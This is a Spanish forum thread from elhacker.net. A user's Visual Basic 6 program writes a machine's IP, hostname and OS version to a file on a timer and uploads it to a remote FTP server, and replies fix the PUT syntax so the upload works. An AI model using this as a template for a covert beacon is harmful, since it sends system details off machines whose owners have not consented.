Foro de elhacker.net

Hola, Vereis he echo un programilla en visual basic 6 que consiste en a traves de un archivo de texto, te envie por ftp la IP del host, la version del SO etc.. La cuestion esque cuando inicio el programa, empieza la cuenta, y al llegar a 1, se me conecta al servidor ftp para supuestamente enviarme el txt con los datos del host remoto, pero no aparece el archivo, y en el servidor ftp me sale como que estoy conectado. Es decir, me ejecuta perfectamente el programa, pero a la hora de pasarme el archivo, pues no lo hace.
Pongo el codigo para ver si el problema viene de ahi, pero no creo.

Dim Ti
 
Private Sub Form_Load()
Ti = 0
Timer1.Interval = 1000
End Sub
 
Private Sub incremento_Click()
Ti = Ti + 1
inicio.Caption = Ti
Open ("prueba.txt") For Output As #1
Print #1, "IP: ", Winsock1.LocalIP
Print #1, "Nombre Host: ", Winsock1.LocalHostName
Print #1, "S.O --> ", SysInfo1.OSPlatform
Print #1, "Version --> ", SysInfo1.OSVersion
Print #1, Date, " -----> ", Time
Close #1
Inet1.Execute "ftp://userass@ipuerto", "PUT prueba.txt" & Winsock1.LocalHostName & ".txt"
 
End Sub
 
Private Sub Timer1_Timer()
Call incremento_Click
End Sub
 

Tengo que decir que los dos pc's, tanto el de donde he heco el programa como donde tengo el servidor ftp, los tengo en LAN, es como mi pc de pruebas.
Gracias, y el problema es ese, que no logro localizar el archivo

---

donde sale la URL no se que le ha pasado, el programa esta puesto con este formato:
 ftp : // user : pass @ ip : puerto
las he puesto con espacios que sino me hace cosas raras xd

es


el puerto default es 21

En efecto esa es la sintaxis correcta, pero la de PUT es distinta...

put archivo_local [archivo_remoto]

lleva un ESPACIO entre los dos archivos... ahora si el archivo_local o el archivo_remoto tienen espacios, entonces se ponen entre comillas...

por ejemplo:

put "c:\hola mundo.txt" "cagada mundial de teresa.doc"

Revisate esta URL: http://colposfesz.galeon.com/ftp.htm

 
Inet1.Execute "f tp://userass@ipuerto", "PUT prueba.txt" & Winsock1.LocalHostName & ".txt"
 
 

prueba asi

 
dim sFile1 as string
dim sFile2 as string
 
sfile1= "Archivo1.txt"
sfile2= "Archivo2.txt"
Inet1.Execute "f tp://userass@ipuerto", "PUT " & chr(34) & sFile1 & chr(34) & " " & chr(34) & sFile2 & chr(34)
 
 

Donde esta f tp juntalo como veras este mendigo foro hace TONTERIAS con las url.

Dulces Lunas!¡.